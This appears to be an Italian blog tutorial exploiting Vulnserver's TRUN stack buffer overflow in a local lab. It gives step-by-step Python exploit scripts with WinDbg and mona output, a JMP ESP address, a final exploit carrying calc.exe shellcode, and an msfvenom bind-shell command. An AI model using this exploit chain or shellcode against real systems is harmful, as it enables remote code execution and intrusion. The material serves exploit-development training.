Stack Buffer Overflow I - Vulnerserver TRUN

Tempo di lettura: 13 minuti
Data pubblicazione: September 15, 2022

Con questo articolo daremo il via ad una serie di post che si concentreranno sulle vulnerabilità di tipo Buffer Overflow, partendo dallo Stack, passando da SEH e Egghunter fino ad arrivare al bypass di DEP/ASLR e altre protezioni che sono state introdotte nel corso degli anni su Windows. Tempo fa ho scritto un’articolo che può servire come ripasso, Introduzione al Buffer Overflow e per chi vuole approfondire il discorso su Linux trova tutto qui.

Altri post in questa serie:

  1. Stack Buffer Overflow I - Vulnerserver TRUN
  2. Stack Buffer Overflow II - Brainpan
  3. Stack Buffer Overflow III - dostackbufferoverflowgood
  4. Stack Buffer Overflow IV - EasyRMtoMP3Converter
  5. Stack Buffer Overflow V - Disk Sorter Enterprise 9.5.12

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Introduzione

Gli step basilari che si eseguono per exploitare un classico stack buffer overflow sono:

  1. Identificare la vulnerabilità, tramite fuzzing o reverse engingeering.
  2. Trovare il preciso punto di crash: l’eseguibile va in crash quando avviene la corruzione della memoria. Se l’overflow è abbastanza grande, siamo in grado di sovrascrivere il return address della funzione, sul quale verrà fatto un POP nel registro EIP. Esso viene utilizzato dalla CPU per redirezionare l’esecuzione del codice a livello di assembly. Pertanto, ottenere il controllo di EIP ci consente di eseguire qualsiasi codice assembly.
  3. Eliminare i caratteri non permessi dal programma target (detti bad char).
  4. Trovare un indirizzo di memoria che ci permetta di controllare il flusso dell’esecuzione (un JUMP, una CALL, un PUSH, etc).
  5. Eseguire lo shellcode malevolo.

Per approfondire non posso che consigliare Exploit writing tutorial part 1 : Stack Based Overflows.

Lab Setup

L’ambiente che utilizzerò è il seguente:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

VulnServer

Vulnserver è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.

Crash Iniziale

Sapendo che il comando TRUN è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 0  

payload = VULNSRVR_CMD
payload += b"A" * CRASH_LEN

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Come possiamo vedere, il registro EIP è stato sovrascritto ed ESP punta ad un indirizzo che possiamo controllare

0:001> r
eax=00a7f1e8 ebx=00000090 ecx=006d55c4 edx=00000000 esi=00401848 edi=00401848
eip=41414141 esp=00a7f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???
0:001> dd poi(esp)
41414141  ???????? ???????? ???????? ????????
41414151  ???????? ???????? ???????? ????????
41414161  ???????? ???????? ???????? ????????

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 6000

Riavvio vulnserver e aggiorno lo script inserendo il pattern

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 0  

payload = VULNSRVR_CMD
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5......"

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Dopo averlo eseguito, per trovare l’offset preciso possiamo usare due comandi di mona. Il primo è il seguito di pattern_create, ossia pattern_offset, il quale cerca un preciso pattern all’interno della memoria

0:003> !py mona po 0x396f4338
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x396f4338
Looking for 8Co9 in pattern of 500000 bytes
- Pattern 8Co9 (0x396f4338) found in cyclic pattern at position 2006

Il secondo è findmsp, il quale cerca una pattern ciclico all’interno della memoria

0:003> !py mona findmsp
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00e4f1ee (length 2994 bytes)
    Cyclic pattern (normal) found at 0x001d34c6 (length 4090 bytes)
    Cyclic pattern (normal) found at 0x001d48d6 (length 2994 bytes)
[+] Examining registers
    EIP contains normal pattern : 0x396f4338 (offset 2006)
    ESP (0x00e4f9c8) points at offset 2010 in normal pattern (length 984)
    EBP contains normal pattern : 0x6f43376f (offset 2002)

In tutti e due i casi ha trovato che EIP è stato sovrascritto all’offset 2006. Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")
0:004> r
eax=010cf1e8 ebx=000000cc ecx=00725490 edx=0000f3c3 esi=00401848 edi=00401848
eip=42424242 esp=010cf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???
0:004> dd esp
010cf9c8  43434343 43434343 43434343 43434343
010cf9d8  43434343 43434343 43434343 43434343
010cf9e8  43434343 43434343 43434343 43434343

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Eseguiamo e analizziamo la memoria per vedere se qualche carattere è stato eliminato

0:003> r
eax=00ebf1e8 ebx=000000d4 ecx=00cb5490 edx=00001fa5 esi=00401848 edi=00401848
eip=42424242 esp=00ebf9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???
0:003> db esp L100
00ebf9c8  01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f 10  ................
00ebf9d8  11 12 13 14 15 16 17 18-19 1a 1b 1c 1d 1e 1f 20  ............... 
00ebf9e8  21 22 23 24 25 26 27 28-29 2a 2b 2c 2d 2e 2f 30  !"#$%&'()*+,-./0
00ebf9f8  31 32 33 34 35 36 37 38-39 3a 3b 3c 3d 3e 3f 40  123456789:;<=>?@
00ebfa08  41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50  ABCDEFGHIJKLMNOP
00ebfa18  51 52 53 54 55 56 57 58-59 5a 5b 5c 5d 5e 5f 60  QRSTUVWXYZ[\]^_`
00ebfa28  61 62 63 64 65 66 67 68-69 6a 6b 6c 6d 6e 6f 70  abcdefghijklmnop
00ebfa38  71 72 73 74 75 76 77 78-79 7a 7b 7c 7d 7e 7f 80  qrstuvwxyz{|}~..
00ebfa48  81 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90  ................
00ebfa58  91 92 93 94 95 96 97 98-99 9a 9b 9c 9d 9e 9f a0  ................
00ebfa68  a1 a2 a3 a4 a5 a6 a7 a8-a9 aa ab ac ad ae af b0  ................
00ebfa78  b1 b2 b3 b4 b5 b6 b7 b8-b9 ba bb bc bd be bf c0  ................
00ebfa88  c1 c2 c3 c4 c5 c6 c7 c8-c9 ca cb cc cd ce cf d0  ................
00ebfa98  d1 d2 d3 d4 d5 d6 d7 d8-d9 da db dc dd de df e0  ................
00ebfaa8  e1 e2 e3 e4 e5 e6 e7 e8-e9 ea eb ec ed ee ef f0  ................
00ebfab8  f1 f2 f3 f4 f5 f6 f7 f8-f9 fa fb fc fd fe ff 43  ...............C

Già si vede che nessun carattere è stato eliminato/sostituito, ma per essere sicuri possiamo comparare il byte array creato precedentemente con il registro ESP

!py mona compare -f c:\monalogs\vulnserver_PID\bytearray.bin -a esp

Saltare allo shellcode

L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione ESP (escludendo \x00):

!py mona jmp -r esp -cpb '\x00' 
[+] Results : 
0x625011af |   0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011bb |   0x625011bb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011c7 |   0x625011c7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)
0x625011d3 |   0x625011d3 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\vulnserver\essfunc.dll)

Tutte le protezioni sono disabilitate, per cui scegliamo il primo.

Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x625011af), in modo da vedere se è tutto a posto.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # JMP ESP
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto. Facendo uno step (over o into, in questo caso è indifferente), vediamo che la prossima istruzione eseguita è proprio la C

0:004> t
eax=0118f1e8 ebx=0000009c ecx=00f85490 edx=0000939d esi=00401848 edi=00401848
eip=0118f9c8 esp=0118f9c8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0118f9c8 43              inc     ebx

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Per semplicità utilizzerò uno shellcode pronto per eseguire calc.exe, ma nulla toglie che si possa inserire una reverse o bind shell, come

msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread

Il codice finale sarà quindi

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)  # vulnserver

VULNSRVR_CMD = b"TRUN ."  
CRASH_LEN = 6000 
OFFSET = 2006  

#calc.exe WIN10 32 bit
calc = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7" 

payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x625011af) # JMP ESP
payload += b"\x90"*10
payload += calc
payload += b"C" * (CRASH_LEN - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)  # Welcome to Vulnerable Server! ... 

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Conclusioni

In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: